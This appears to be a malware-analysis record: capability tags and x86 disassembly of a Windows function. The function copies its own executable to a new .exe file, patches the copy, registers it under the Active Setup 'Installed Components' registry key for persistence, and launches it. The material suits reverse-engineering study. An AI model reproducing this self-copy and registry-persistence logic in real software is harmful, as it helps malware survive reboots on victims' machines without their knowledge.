Function at 0x401900
Capabilities:
Read file on windows
Set registry value
Write file on windows

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
call fcn.00401840
mov ebx, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x274]
rep stosd dword es:[edi], eax
mov al, byte [0x404124]
lea ecx, [esp + 0x6c]
push eax
push ecx
mov dword [esp + 0x18], ebx
call section..text
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x6c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x6c]
and ecx, 3
push 0x104
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x278]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x174]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edx, [esp + 0x6c]
push edx
call dword [0x4030a0]
mov ecx, dword [esp + 0x14]
push eax
lea eax, [esp + 0x70]
push eax
push 2
push 0
push 0x4043f0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x274]
push 0x4043ec
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov esi, eax
push 2
push 0
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push esi
mov ebp, eax
call edi
push ebp
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 1
and ecx, 3
push ebp
rep stosb byte es:[edi], al
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov edi, dword [esp + 0x4c]
lea edx, [ebx + 0x3058]
or ecx, 0xffffffff
mov dword [ebx + 0x6a0], 4
lea esi, [edx + 0x20]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x4c], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x4c]
push 0x4043e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 8
mov edi, edx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xac]
mov byte [edx], 4
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x44
mov esi, eax
mov edi, 1
push esi
push edi
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0x18
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x18]
xor eax, eax
push edx
push ecx
push eax
push eax
push eax
push eax
push eax
lea edx, [esp + 0x88]
push eax
push edx
push eax
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x6c], edi
mov word [esp + 0x72], ax
mov dword [esp + 0x74], eax
mov word [esp + 0x70], di
call dword [0x40309c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret